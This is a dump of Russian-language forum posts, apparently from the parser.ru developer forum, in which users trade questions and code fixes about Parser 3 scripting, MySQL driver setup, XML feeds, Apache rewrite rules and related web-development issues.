$xdoc[^xdoc::load[empty_yandex.xml]]\
#наполнение его смыслом\
^xdoc.string[]\
[/code]"
"36955","Может тогда и download сделаете по модулям, а то 11Мб против 3х у Денвера - многовато. Я, например, из-за размера даже качать не хочу."
"36956","Я планирую разбить инсталляцию на блоки - но потом, когда улучшу control panel и smtp-эмулятор. Пока это неприоритетно."
"36957","Если да, то не будет - http://www.parser.ru/forum/?id=34777"
"36958","Есть класс (bobject.p):\
[code]\
@CLASS\
base_object\
\
\
@init[data]\
$id($data.id)\
$name[$data.name]\
$path[$data.path]\
$full_path[$data.full_path]\
\
@id[]\
$result[$id]\
[/code]\
\
Есть ещё один класс (object.p):\
[code]\
@CLASS\
object\
\
@USE\
bobject.p\
\
@BASE\
base_object\
\
\
@init[data]\
^BASE:init[$data]\
[/code]\
\
В index.html:\
[code]\
@USE\
object.p\
\
@main[]\
$od[\
	$.id(13)\
	$.name[123]\
	$.path[123]\
	$.full_path[/old/123]\
]\
\
^rem{ *** создание объекта *** }\
$tmp[^object::init[$od]]\
\
^rem{ *** обращение к полям *** }\
$tmp.id = $tmp.name = $tmp.path = $tmp.full_path\
[/code]\
\
А Парсерсер ругается: 'MAIN' method_frame may not be overwritten with junction, store it to variable instead [parser.runtime]"
"36960","...и ругается\
\
Apache Swissknife \"Component 'MSWINSCK.OCX' or one of its dependencies not correctly of its dependencies not correctly registered: file missing or invalid.\"\
\
может быть это моя винда, но разбираться неохота..."
"36961","xdoc::create не создаёт файлов. нет каталога."
"36962","[quot]\
Сказали искать shops.dtd \"тут\". Откуда он поймет, что это \"тут\" не в текущей директории, а где-то в \"../yandex\"?\
[/quot]\
\
Проблема не в том!\
скрипт и shops.dtd лежат в одном каталоге \"yandex\"\
поэтому относительные пути \"shops.dtd\" == \"../yandex/shops.dtd\"\
НО в первом случае shops.dtd не находится :((( и получается ERROR\
а в случае \"../yandex/shops.dtd\" или абсолютного пути всё гут\
ПОЧЕМУ?\
\
мне вот чего ещё написали с Яндыкса\
------------------\
Нет, нужно что просто \"тупо\" стояла такая строка:\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
На время проверки отладки вы ставьте то что вам надо, в конечном варианте должно быть так. \
------------------\
т.е. как вариант можно заменить эту строку на необходимуюи сохранить в файл"
"36965","методы имеют больший приоритет, соотв. когда вы пишите $tmp.id парсер пытается вывести содержимое переменной-junction-метода /base_object/@id[], а её выводить низя, можно только вызывать: ^tmp.id[]"
"36966","не стоит вообще напрямую обращаться к полям объекта - такие вещи в ООП не приветствуются."
"36968","Если делать без базового класса, то всё работает великолепно. А с базовым - ошибка."
"36969","Есть задача. Достаточно банальная. Думаю многие с ней сталкивались. \
Форум, чат, голосовалки и прочее. Иногда возникает необходимость закрыть доступ кому-то к этому делу. Блокировка по IP помогает но редко. Или dialup, который меняет ip или программки, которые подставляют другой адрес. \
Есть ли возможность вытащить какую-нибудь уникальную для компьютера, операционки или хотя бы IE инфу, по которой можно осуществить блокировку. \
Да, я понимаю что универсального способа нет и все блоки можно обойти, но вопрос в том, чтобы хотя бы увеличить время необходимое на повторый вход туда, куда не нужно. Вполне допустимо чтобы это работало не на всех браузерах и/или ОС."
"36971","[quot][b]Контрольная панель не запускается - жалуется на отсутствие MSWINSCK.OCX[/b]\
\
Чтобы избавиться от этой ошибки cкачайте [url=\"http://www.bougakov.com/devel/download/mswinsck.ocx\"]этот файл (107 Kb)[/url] и сохраните его в папку c:\\winnt\\system32\\. Выполните команду[code]regsvr32.exe mswinsck.ocx[/code](для этого могут потребоваться права администратора). [/quot]Эта OCX - стандартная виндовая библиотека, но на некоторых машинах её нет. В процессе setup её ставить всем не хочется, т.к. обяжет всех иметь админские права, что неправильно в корне."
"36972","см. auto.ru"
"36973","Да, безусловно. Но это не всегда выход. \
Я имел в виду как-то идентифицировать именно компьютер пользователя."
"36974","в котором соберите любую информацию.\
\
только лично я на вопрос браузера \"доверяешь ему\" отвечу \"нет\".\
\
выкиньте из головы эти идеи.\
любой форум/чат держится на доброй воле его участников. без неё он мёртв."
"36975","index.html\
\
$h[^file::exec[1.php]]\
$h.text\
\
1.php\
\
<?php include(\"HOP.php\") ?>\
<?php InsertSignature(\"10.00\") ?>\
\
When calling from index.html - result is nothing\
When calling directly - 1.php - there a few lines of answer\
^file.status = 247\
\
Who can explain?"
"36977","эххх какие вы, господа \"хорошие\"....\
а ссылку на примеры, кроме как на сайте дать можете?\
и от описания на русском тоже бы не отказался всех этих регулярных выражений"
"36978","пасиб\
только вот как исключить?"
"36979","тоже занялся mySQL недавно и лучше mysql.ru раздел документация не нашел\
много примеров с подробными пояснениями"
"36982","STFF - meaning Search This F*#king Forum.\
ya.ru, google.com also can be useful."
"36983","I am reading this f... forum for 8 hours. I ve read all i could find. Hint, key word would be more preferable."
"36984","Ключевое слово: php\
Фильтровать по автору: Александр Петросян (PAF)"
"36985","собственно это та ссылка то что я и хотел :)\
но к сожалению не всегда сразу доходишь до самой простой мысли"
"36986","Add your way of searching thru forum to faq. And it is useful to place links on docs to search to related topics in forum. The hardest thing is to find right keywords. It works. Thank you."
"36987","http://www.livejournal.com/users/g100m/65337.html"
"36990","А я к сожалению своими действиями в очередной раз подтвердил, что пользователи не читают справки... А нельзя в среде, где вы писали панель сделать аналог try exept и выводить это сообщение сьюпид юзеру?"
"36991","У программулины будет свой сайт, где про Winsock и необходимость runtime-библиотеки Visual Basic'а будет написано отдельно. Не прочитаешь - не скачаешь ;-)"
"36992","wrong using of continuous, use perfect continuous instead:\
\
I have been reading this f... forum for 8 hours."
"36993","ООП вообще-то абстракция, но никак не язык :) а что мешает в парсере просто не пользоваться полями?"
"36994","Собрал ImageMagic 6.(1|0) из сорцов под FreeBSD, скачал images.pl (http://www.parser.ru/examples/imagemagic/, спасибо Eugene Spearance). Класс images.p не использую. Вызываю images.pl со всем необходимым ему окружением и всёбы было хорошо если он с jpe?g и png файлами работал. С гифами работает а с jpe?g и png - нет.\
Интересно то, что после неудачи он не только выдаёт ошибку (Exception 420: no decode delegate for this image format `/wwwroot/some_host/www/images/big/0223.jpg'), а ещё удаляет этот файл.\
\
Проблема точно в ImageMagic. ./configure делал без опций (там работу с этими форматами можно только отключить). Что я сделал не так при сборке?"
"36995","А если совсем не использовать объект xdoc? В данном случае я бы делал вот так:\
[code]\
$yandex_xml[<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
<yml_catalog date=\"^date_now.sql-string[]\"> \
....\
</yml_catalog>]\
^yandex_xml.save[yandex.xml]\
[code]\
работать такой вариант будет быстрее и кушать меньше памяти чем c xdoc"
"36996","Да, неверно выразился. Здесь я подразумевал языки, способные запретить доступ к полям объекта.\
\
[quot]а что мешает в парсере просто не пользоваться полями?[/quot]\
Так и сделал ;)"
"36997","интересен ваше мнение и опыт, если есть"
"36998","На мой взгляд понятие \"небольшой\" весьма размыто. \
Если применение преобразований приведет к усложнению и увеличению срока разработки, то оправдано это только для того, чтобы использовать части этого небольшого проекта в следующем, большом, где без XSLT-преобразований будет тяжко."
"36999","в том то и дело -- хочется узнать приводит ли XML к увеличению срока разработки или нет, и если приводит -- то оправдывает ли это себя, ну т.е. потом проще исправления вносить и т.д.\
\
просто мы выпустили первый проект использующий связку XML+XSLT+phpSABLOTRON -- программирование и верстка заняли, как минимум, в три раза больше времени... конечно много можно списать на то что все приходилось делать первый раз -- поэтому и появился мой вопрос.\
\
и на счет относительности понятия \"небольшой сайт\":\
например сайт http://www.roskonditer.ru \"достоин\" XSLT? это один из наших проектов"
"37000","Я думаю, как бы не делал - сроки одни.\
А вот правка и отделение кода от оформления - это, конечно, очень недурно.\
\
Для меня единственный недостаток xslt - бОльшая нагрузка.\
Тут как ни крути - всегда прямой вывод html будет быстрее."
"37001","[code]\
# Если обращение идёт с локального компьютера, посетитель получит подробное объяснение\
# про то, что произошло и где именно (вызывается @friendly_parser_error_message).\
# Если обращение идёт не со 127.0.0.1, выводится стандартный текст про Error 500\
^if($env:REMOTE_ADDR ne \"127.0.0.1\"){[/code]\
это не работает для клонов на 127.0.0.2, 127.0.0.3, т.д.\
\
ещё я переопределяю $request:charset на UTF-8, а friendly messages в ГКФ идут в windows-1251, следовательно все ошибки отображаются некорректно. Пересохранил ГКФ в UTF-8, теперь не могу его править в своём любимом редакторе - он UTF не поддерживает. :(\
\
Может имеет смысл вынести friendly error messages в отдельный файл, как Миша советовал?\
\
P.S. XP SP2 с loopback патчем, ножик банановой версии, новый ещё не ставил, парсер только по верху переписал."
"37002","Безусловно. Но если рассматривать вывод 10 тегов, то дешевле их написать руками. \
Хотя полностью согласен на счет отделения кода."
"37003","Использование движка и CMS (на базе XML/XSLT) существенно [b]сокращает[/b] сроки разработки.\
\
Отделение кода от оформления большой плюс - появляется возможность повторного использования написанного кода в последующих проектах не внося изменений.\
\
Насчет применения всего этого на сравнительно небольших проектах - вопрос субъективный. Одни, изначально небольшие проекты имеют свойство в дальнейшем разрастаться - другие нет. В последнем случае наверное вполне разумно не забивать гвозди микроскопом и обойтись без XML.\
\
\
2 G_Z: используя кеширование (готовых страниц) - нагрузку можно очень существенно снизить."
"37004","[code]\
^if(^env:REMOTE_ADDR.left(3) ne \"127\"){\
\
	...\
}{\
	$request:charset[windows-1251]\
	^friendly_parser_error_message[$exception;$stack]\
}\
[/code]"
"37005","Одним им сыт не будешь.\
Многие вещи вообще принципиально нормально не откэшировать.\
Я ещё использую разбитие на достаточно мелкие шаблоны по типу страницы."
"37006","Ну 10 тэгами обычно дело не ограничивается никогда...\
Взявшись всё проводить через xsl лучше делать всё однообразно, через него, родимого.\
Или, обдумав, не пользоваться и выводить напрямую.\
Главное: химия наука сложная, поэтому - лучше не смешивать."
"37007","Безусловно. Но тут опять встает вопрос что есть предел, где начинается большой проект. Так как жестких критериев нет, то можно констатировать достоинства и недостатки обоих методов. А выбирать из них дело конкретного разработчика."
"37010","а в том, возможна ли модернизация или использование частей одного проекта в других.\
Стремиться нужно к универсальности кода, так что, на мой взгляд, прямой вывод тэгов позолителен лишь для первых работ, когда нет готовых модулей.\
Ну, а после их появления использование прямого вывода html будет только тормозить разработку."
"37012","Пути прописал, доступ к библиотеке есть.\
 \
Теперь такая ошибка: \
\
Unhandled Exception (Debug) \
driver implements API version 0x0003 not equal to 0x0008 \
/usr/local/lib/libparser3mysql.so\
\
Подскажите, плиз, куда смотреть дальше?"
"37013","Спасибо за комментарии, учту."
"37016","[code]	$env:REMOTE_ADDR[/code] \
\
[quot]Возвратит [b]IP-адрес[/b] машины, с которой был запрошен документ.[/quot]"
"37017","Посмотрел, понял, что ошибка из-за разных версий parsera и драйвера mysql.\
\
Скачал и поставил:\
1) http://www.parser.ru/f/1/download/freebsd/parser3_1_4_freebsd49R_cgi.tar.gz\
2) http://www.parser.ru/f/1/download/freebsd/parser3sql_1_4_freebsd49R_mysql.tar.gz\
\
и по-прежнему пишет:\
driver implements API version 0x0003 not equal to 0x0009\
\
Я на valuehost, версия 0x0003 вообще не меняется, какой бы драйвер я не закачал. Похоже, мне \"там\" админы сами поставили, я просил их еще неделю назад...\
\
Теперь основной вопрос - где найти версию парсера под 0x0003?"
"37018","Не подскажете, я записываю в MySql html статью, где есть изображения и записываю эти изображения на сервер в папку \
/images/news/${ID}/\
Как можно при загрузке статьи изменить тег src чтобы вставить ${ID}?"
"37020","Небольшой оффтопик.\
\
В БД есть табличка, которая обновляется с некоторой периодичностью. В каждой строке есть поле dt в которое пишется дата добавления строки. \
\
Задача: Надо выбрать из таблицы строки за последние 3 обновления. Специфика в том, что нет определенной периодичности добавления записей. Т.е. сегодня может быть добавлено 3 записи, через 3 дня еще 10 записей, а потом еще через неделю 20 записей.\
\
Единственное, пришедшее на ум решение сделать еще одну таблицу, в которую писать даты обновления, а потом просто выбирать из нее 3 последние даты и уже исходя из них делать необходимую выборку.\
\
Можно ли используя только поле dt исходной таблицы сделать необходимую выборку?"
"37021","[code]\
SELECT\
  dt\
FROM\
  table\
GROUP BY\
  dt\
ORDER BY\
  dt DESC\
LIMIT\
  3\
[/code]"
"37023","наверняка вы положили новый драйвер не сюда:\
/usr/local/lib/libparser3mysql.so\
\
P.S. если нужен таки старый парсер - воспользуйтесь поиском по форуму."
"37027","...вписать <img src=\"images/news/${ID}/img.jpg\"> и потом просто исполнить ${ID} при отображении?"
"37028","[code]\
@body_data[]\
^MAIN:dbconnect{$nуws[^string:sql{select Body from News where ID=$request:query}]}\
$pID[$request:query]\
<table width=\"600\" border=\"0\" align=\"center\">\
\
	<tr>\
		<td align=\"center\">\
		^nyws.match[${pID}][g]{$pID}\
		</td>\
	</tr>\
</table>[/code]\
\
Пишет, что метода match не существует..."
"37029","Админы положили самую свежую библиотеку libparser3mysql.so в каталог parser3, прописал путь в auto.p - ошибка про 'driver implements API version и т.п.' пропала.\
\
Следующая ошибка - 'driver failed to initialize client library '/usr/local/lib/libmysqlclient.so', can't open the module'.\
\
Понимаю так, что нет доступа.\
\
Сделал запрос админам valuehost, чтобы сообщили путь, но пока тишина, ждем-с.\
\
Попытался найти сам этот клиент, но даже скачав дистрибутивы Mysql не нашел. Скиньте плиз этот файл на электропочту, если он у вас есть.\
\
Если поставлю mysql на valuehost, готов написать статью в раздел \"Хостинги\"!"
"37030","Или проверить его на существование, может он просто пуст"
"37032","Разобрался, спасибо!\
Сделал через replace"
"37035","Всё! Заработало.\
\
Последний этап - админы прислали мне путь к MySQL-клиенту:\
/usr/local/mysql-4.0.13/lib/mysql/libmysqlclient.so\
\
Прописав его в auto.p, получаем искомый результат!\
\
Подведем итоги (надеюсь, будет полезно другим):\
1. cgi-bin/parser3.cgi из файла http://www.parser.ru/f/1/download/freebsd/parser3_1_4_freebsd49R_cgi.tar.gz\
2. cgi-bin/lib+cgi-bin/charsets из файла http://www.parser.ru/f/1/download/freebsd/parser3conf_1_1_20031106_unix.tar.gz\
3. /parser3/libparser3mysql.so из файла http://www.parser.ru/f/1/download/freebsd/parser3sql_1_4_freebsd49R_mysql.tar.gz - установлено админом ValueHost\
4. в auto.p следующая строка:\
# change your client libraries paths to those on your system\
$SQL[$.drivers[^table::set{protocol	driver	client\
mysql	/pub/home/*****/parser3/libparser3mysql.so	/usr/local/mysql-4.0.13/lib/mysql/libmysqlclient.so\
\
Удачи всем! Спасибо за помощь."
"37036","Будет удобно если можно бужет редактировать меню панели управления.\
Меня например интересует 2 пункта:\
1 запуск ftp клиента(тоталкомандр в моём случае)\
2 открытие директории с сайтами.\
\
Также будет здорово если IE будет открывать новое окно, а не открывать страницу в последнем открытом окне.\
\
Ну и для полного удовльствия ssh клиент."
"37037","Как можно строку вида\
%D1%F2%E0%F0%EE%F1%F2%E5%ED%EA%EE%E2\
преобразовать в нормальную строку?"
"37039","Но при этом mysql никак не реагирует на like '$url'"
"37040","Декодируется верно?\
Что происходит, если подставить ожидаемый результат декодирования в like?"
"37041","...но при подстановке не происходит ничего...\
\
А если на англиийском, то нормально..."
"37043","[code]\
$url[$form:sdata]\
$url[^url.match[%(.{1,2})][g]{^process{^^#^untaint{$match.1}}}]\
[/code]\
\
[code]\
^MAIN:dbconnect{\
					^if($form:type eq all){\
					$nws[^table::sql{select Title,Author,ID from News where Title or Author like '${url}%'}]\
					}\
					^if($form:type eq auth){\
					$nws[^table::sql{select Title,Author,ID from News where  Author like '$url'}]\
					}{\
					$nws[^table::sql{select Title,Author,ID from News where  Title like '$url'}]\
					}}\
[/code]"
"37045","[code]$url[^untaint{^url.match[%(.{1,2})][g]{^process{^^#^untaint{$match.1}}}}][/code]"
"37047","зачем продолжать показывать неверную дорогу?\
в 98% случаев достаточно просто начать нормально пользоваться $form.\
\
и не надо будет ничего таким образом перекодировать.\
может вопрощающий расскажет, откуда ему приходят такие $form:sdata?"
"37048","search.html?sdata=...&type=..."
"37049","если да, то при нормально настроеных кодировках когда вы обращаетесь к $form:sdata то вы должны видеть не %D1%F2%E0%F0%EE%F1%F2%E5%ED%EA%EE%E2 а 'буквы'\
\
может попробуете скачать test.html из соотвт. раздела и показать нам результаты его работы? (и сами можете ткнуть в нем по ссылке и посмотреть как передаются параметры)"
"37050","> Привет!\
\
> Вот чего не ожидал. Только пока не понял, почему это так:\
\
> $test[http://invita10/clinic/contacts/?mark&uri=/clinic/contacts/]\
\
> $result[^test.trim[end;?mark&uri=/clinic/contacts/]]\
\
\
\
> result равен в итоге http://invita10 хотя должно быть\
http://invita10/clinic/contacts/\
\
\
> И приходится извращаться вот таким образом:\
\
> $result[^if(^test.pos[?]>0){^test.left(^test.pos[?])}{$test}]"
"37055","Сходите на sidhe.akir.inc.ru\
Там есть тестовая статья на англиийском\
\
Это генерация:\
[code]\
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"form1\">\
	<input name=\"sfield\" type=\"text\" size=\"15\" class=\"searchform\" value=\"$form:sdata\">&nbsp;<input name=\"submitb\" type=\"submit\" value=\"Найти!\" class=\"searchform\">\
	^if(def $form:sfield){\
	$response:location[search.html?sdata=$form:sfield&stype=all]\
	}\
	</form>\
[/code]\
\
\
Это обработка:\
[code]<table class=\"listitems\" width=\"100%\" cellspacing=\"1\" cellpadding=\"1\">\
			\
                    <tr>\
                      <td class=\"listitems\" bgcolor=\"#660000\">\
					  Результаты поиска по запросу $form:sfield</td>\
                    </tr>\
					^MAIN:dbconnect{\
					^if($form:type eq all){\
					$nws[^table::sql{select Title,Author,ID from News where Title or Author like '$url'}]\
					}\
					^if($form:type eq auth){\
					$nws[^table::sql{select Title,Author,ID from News where  Author like '$url'}]\
					}{\
					$nws[^table::sql{select Title,Author,ID from News where  Title like '$url'}]\
					}}\
					^if(def $nws){\
					^nws.menu{\
                    <tr>\
                      <td class=\"postitem\">\
					  <a href=\"show.html?$nws.ID\" class=\"publ\">$nws.Title - $nws.Author</a>\
					  \
					  </td>\
					</tr>}\
					}{\
					<tr>\
                      <td class=\"postitem\">\
					  Ничего не найдено!\
					  \
					  </td>\
					</tr>\
					}\
					</table>\
\
		</td>\
	</tr>\
</table>[/code]"
"37057","вы передаёте одно, принимаете другое, выборку из базы делаете  по вообще не определённой переменной, условие выборки неправильное, так далее. К чему этот редирект, почему нельзя сразу указать актуальные action, method и названия параметров? SQL - WHERE условие OR условие, а не так как у вас.\
\
соберитесь с мыслями и попробуйте заново, ибо subj."
"37059","А чего все злые то такие? )))"
"37060","Прошу совета где посмотреть, почитать. Хочу сделать redirect. Допустим, пользователь набирает адрес domain.com, сервер определяет откуда территориально зашел пользователь, и перенаправляет его например на domain.fr. Это же наверно настройки Apachа?"
"37062","[code]\
^MAIN:dbconnect{\
					^if($form:type eq all){\
					$nws[^table::sql{select Title,Author,ID from News where Title like '$form:sdata' or Author like '$form:sdata'}]\
					}\
					^if($form:type eq auth){\
					$nws[^table::sql{select Title,Author,ID from News where  Author like '$form:sdata'}]\
					}{\
					$nws[^table::sql{select Title,Author,ID from News where  Title like '$form:sdata'}]\
					}}\
[/code]"
"37063","....русское слово в заголовке, то он его находит, т.е если заголовок \"Тест\", то находит, а если \"Это тест\",... то тоже находит... А в чем тогда проблема? И как можно сделать поиск не по строке целиком, а по её вхождению?"
"37064","если не работает == ничего не находит, то почитайте плиз в документации mysql про синтаксис like."
"37066","использовать переменную HTTP_ACCEPT_LANGUAGE подразумевая, что территория - суть язык c которым пришел запрос. И responsе его куда надо."
"37067","и не использовать редирект, а выводить специальную формочку а ля\
\
XYZ Corporation worldwide: select the nearest local office\
\
а под ней - select, заботливо установленный в нужное положение (France, Deutschland, Россия) или в дефолтовое - если ip2city не сработал. Это - пример гуманного подхода (негуманный - это когда я залезаю в московский Outlook'овский webmail с компьютера в барселонском интернет-кафе и получаю свою почту в испаноязычном интерфейсе без спросу. Я матерюсь и ищу знакомые иконки, а Биллу Гейтсу икается...)"
"37068","Помогите новичку!\
Есть несколько XML-файлов в одной папке. Они имеют одинаковую структуру, но соответственно с разными данными. Как их правильно загрузить в Парсер, чтобы была возможность вывода определенных данных из всех файлов по единому шаблону XSL."
"37069","Спасибо, будем смотреть)))))"
"37073","Не работает $response:download\
\
Задаю туда файл для отправки:\
\
$response:download[^file::load[text;/files/article.xml;article22.xml]\
\
А в ответ не то.\
\
В заголовка HTTP творится вот что:\
\
HTTP/1.1 200 OK\
Date: Tue, 08 Feb 2005 17:09:26 GMT\
Server: Apache/1.3.27 (Win32) PHP/4.3.0\
content-disposition: ; filename=article22.xml\
content-length: 36\
Content-Type: text/xml\
\
Где обещанный attachment?\
\
Код привести не могу, так как он слишком большой. Могу сообщить условия. Так как $response:download работает в принципе.\
\
Строка $response:download[^file::load[text;/files/article.xml;article22.xml] находится в файле с классом, который потом вызывается статически. Может в этом дело?\
\
Вот такой прием почему-то не помогает:\
$response:content-disposition[attachment^; filename=$response:download.name]\
Тоже, кстати, хотелось бы узнать почему!"
"37074","А разве из приведенного кода не понятно зачем? Чтобы отсечь кусок текста!"
"37075","попробуйте выделить в чистом виде (bug.zip) мне в почту.\
с хорошим заголовком письма, чтобы я под горячую руку не потёр."
"37076","Еще нюансы выяснил!\
\
Вот такой код в auto.p не работает как надо\
\
@main[]\
$response:download[^file::load[text;/auto.p;dfdsfsdf]]\
\
@postprocess[body]\
\
А вот если убрать @postprocess[body] то работает нормально \
и броузер дает на скачивание файл!\
\
А мне нужно чтобы $response:download работал и в @postprocess[body]"
"37077","из приведенного куска кода понятно только то, что вы пытаетесь манипулировать с URL каким-то мягко говоря ну очень странным способом.\
\
кроме того, отсекается не \"слово\", котоорое указано во втором параметре trim-а, а все символы из указанного там набора, т.е. для ваших целей trim не годится в принципе, зато прекрасно годится pos и left (что вы и используете) или match (можно ещё и со split сделать)."
"37078","Как так получается, что все отсекается??? Разве трим не отсекает просто этот кусок с конца?\
\
И что значить ваше \"а все символы из указанного там набора\"?"
"37079","[quot]\
Разве трим не отсекает просто этот кусок с конца?\
[/quot]\
нет"
"37080","если написать так:\
[code]\
@postprocess[resultOfMain]\
^if(не склалось){\
#   выдать без изменений\
    $resultOfMain\
}\
[/code]\
будет работать, как вам нужно."
"37081","ведь вы удалите и их — удалите то, что сами не писали, что неправильно."
"37082","...тогда я вооще не понимаю в чем проблема. И к чему извращения тоже не понимаю.\
\
[code]\
$str[http://invita10/clinic/contacts/?mark&uri=/clinic/contacts/]\
$result[http://${env:SERVER_NAME}$request:uri]\
[/code]"
"37083","на masterhost.ru\
\
Apache выдает такую запись...\
[i]\
[Wed Feb 9 14:08:06 2005] [error] [client 212.57.189.212] Request exceeded the limit of 20 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.\
[/i]\
\
.htaccess\
[code]\
AddHandler parsed-html .engine .htm\
Action parsed-html /cgi-bin/parser3.cgi\
\
RewriteEngine on\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	/ViewSite.engine?uri=$1 [QSA,L]\
\
<Files ~ \"\\.(p|dat)$\"> \
Order allow,deny \
Deny from all \
</Files> \
\
\
DirectoryIndex index.htm\
\
ErrorDocument 403 /error/?403\
ErrorDocument 404 /error/?404\
...\
[/code]\
\
Чего такое может быть? Закачивал как бинарник. Права 711."
"37084","Здравствуйте. Вышел на данный сайт с www.php.ru Я так понимаю разработкой сайта о php занимается также студия. Когда он начнёт работать и будет ли вообще работать?"
"37085","пардон, пропустил слово ВАША. правильно так: занимается также ваша  студия."
"37086","Сюда code@qra.ru, ежли можно. Спасибо.."
"37088","вот этот сайт http://slantsy.ru/ работает на парсере, на зеноне и использует MySQL, так что с библиотеками там все в порядке. Разбирайтесь далее."
"37089","[code][color=\"#bb0000\"]RewriteRule (gif|jpg|js|css|exe|zip|rar|pdf|doc|xls|ppt|swf|txt|tif|eps|tiff|ico|png|gz)$ - [L]\
RewriteRule ^/ViewSite.engine [L] [/color]\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$        /ViewSite.engine?uri=$1 [QSA,L] [/code]"
"37091","Модельная ситуация:\
\
1. в субдомене создаю папку cgi-bin, в нее кладу то же самое, что и в папке cgi-bin основоного домена (там parser замечательно работает), т.е. parser3.cgi, auto.p и все остальное;\
2. создаю .htaccess в корне веб-пространства со строкой Action parsed-html /cgi-bin/parser3.cgi ;\
3. теперь в любом html файле в субдомене \"/\" означает корень веб-пространства основного домена(!) во всех инструкциях parser, при этом вне инструкций парсер \"/\" означает корень веб-пространства субдомена(!). В parser3.log субдомена пишется ошибка file.missing.\
\
Вопрос:\
Что я делаю не так?"
"37093","Попробуйте почитать вот про это\
$request:document-root\
скорее всего поможет"
"37095","Вот такой код:\
[code]\
	$domen[www.my-domen.ru]\
	$HTTP_HOST[$env:HTTP_HOST]\
	^if($HTTP_HOST eq \"$domen\" || ^HTTP_HOST.match[127.[\\d\\.]+][x]){}{$response:location[http://${domen}$request:uri]}\
[/code]\
\
Всё великолепно работает пока не упераётся в ссылку типа\
/forum/?id=37091, после этого он говорит 404\
\
Подскажите как вылечить?"
"37096","[code]\
	$domen[www.my-domen.ru]\
	$HTTP_HOST[$env:HTTP_HOST]\
	^if($HTTP_HOST eq \"$domen\" || ^HTTP_HOST.match[127.[\\d\\.]+][x] ){}{$response:location[http://${domen}^untaint{$request:uri}]}\
[/code]"
"37097","при попытке устаноивть $request:document-root\
в лог пишет ошибку 'document-root' element can not be stored to request [parser.runtime]\
при попытке считать: 'document-root' request field not found [parser.runtime]"
"37098","Собственно я недавно начал разбираться с parser`ом и никак не могу понять как обработать конец строки вот что конкретно мне надо:\
Я в форму ввожу новость, помещаю ее в БД(MySQL) потом ввыводя ее вместо перевода строки печатаються пробелы, для преодаления этого мне необходимо заменить символ конца строки на <br> как это сделать?"
"37100","Обновил parser с версии 3.1.1 до 3.1.4 и все заработало как надо.\
Спасибо."
"37102","хм, а почему на php.net висит индикатор in progress, а на остальных просто редирект на артлебедев.ру? вроде как это означает что что-то создаётся..."
"37104","есть файло :\
http://www.warcraftrealms.com/exports/guildexport.php?guildid=23665\
\
есть код:\
$s[^table::load[\
 text;\
  http://www.warcraftrealms.com/exports/guildexport.php?guildid=23665;\
 $.separator[^#2C];\
 $.encloser[^#0A]\
]]\
$s\
\
Выдает Unhandled Exception... http://www.undercity.ru/clan/untitled.html\
\
большое спасибо кто ответит."
"37105","Надпись [b]Powered by Parser[/b] на сайте [url=\"http://www.php.ru\"]php.ru[/url] - чистой воды прикол :)\
\
Почитать:\
[url=\"http://www.egoroff.spb.ru/opinions/19.html\"]Религиозные войны[/url] на [url=\"http://www.egoroff.spb.ru/\"]egoroff.spb.ru[/url]"
"37108","Хочу написать документацию,но так, что бы потом ее легко было представить в виде HTML,  chm и PDF . В чем изначально готовить ее ?"
"37109","Столкнулся с неприятной штукой - parser не считает virtual directory за папку, и file:list в ней не работает. Обидно..."
"37111","Client does not support authentication protocol requested by server; consider upgrading MySQL client"
"37112","На счет HTML и CHM - сначала пишете первое, потом идете сюда: http://yarix.by.ru/\
\
А PDF разве можно генерировать из CHM?..."
"37113","перезапишите libmySQL.dll которая идет в комплекте с парсером той, что идет в комплекте с mysql5"
"37115","Вообще-то конечно напрямую нельзя, но не исключено , что есть программа, которая генерит и сhm и PDF"
"37117","Студии TeleType (www.teletype.ru) требуется специалист, обладающий навыками программирования на Parser 3, желательно знакомый с Parser 2. Необходим опыт создания и поддержки динамических сайтов, основанных на БД MySQL, apache+mod_rewrite, системе администрирования. Подробнее о вакансии: http://www.teletype.ru/event/career/\
Обсуждение денег и других условий по почте и при встрече. Рассказ о себе присылайте Дмитрию Литвиненко на anti@teletype.ru"
"37118","Я вообщем-то знаю как минимум еще 3 способа, но chm они не далают :-)"
"37121","Может вам будет интересно, но, по-моему, Rambler-рассылки использует Parser"
"37123","[code]\
$result[http://${env:SERVER_NAME}^request:uri.mid(0;^eval(^request:uri.pos[$request:query])-1)]\
[/code]"
"37124","другая неприятная штука, это что $request:uri на страницах вида \".../\" под IIS на конце имеет \"/index.html\".\
\
я разобрался, как MS предлагает работать с внутренними структурами IIS, и есть готовый кусок, получающий информацию о default documents.\
\
и знаете, что в нём грустного? что соединение с ActiveX-ом, отвечающим за это, занимает ~0.3 секунды, что есть черезчур долго.\
\
конечно, в виде ISAPI Exctension сделать можно.\
\
если кто возьмётся сделать patch, разыщу и пришлю наработку.\
\
\
моё личное мнение(apache):\
ради пары alias'ов нет нужны так напрягаться.\
если alias'ов больше, то они явно поддерживаются не руками, и куски конфигурационных файлов apache создаются скриптами (как это делаем мы).\
\
в этих скриптах ничего не стоит на основании входных данных создать не только куски конфигурации, но и .cfg для parser.\
\
IIS: всё то же самое, скрипты на .vbs, делающие нужные alias'ы есть в MS примерах."
"37126","а на Мастрехосте все работает в том виде, который я вам выкинул..."
"37131","Александр, пытался прикрутить дополнительный заголовок, но судя по результату, сделал это не верно.\
\
Дмитрий."
"37132","а написать что конкретно вы пытались делать и как проверяли наличие заголовка?"
"37134","Есть код, выводящий ссылки\
[code]\
^connect[$connect_string]{ \
     $links[^table::sql{SELECT * FROM links ORDER BY `id` }] \
     ^if($links){ \
        ^links.menu{ <a href=\"$links.names\"><nobr>$links.paths</nobr></a>\
        }[<br>\
        ] \
     }{ Ссылок пока нет } \
  }&nbsp;</td>\
[/code]\
\
И код для их удаления (напротив каждой ссылки появляется \"Удалить\")\
[code]\
^connect[$connect_string]{ \
     $links[^table::sql{SELECT * FROM links ORDER BY `id`}] \
     ^if($links){ \
        ^links.menu{ <a href=\"$links[^table::sql{DELETE FROM `links` WHERE `id`=124}] \"><nobr>Удалить</nobr></a>\
        }[\
        ] \
     }{ Удалять нечего } \
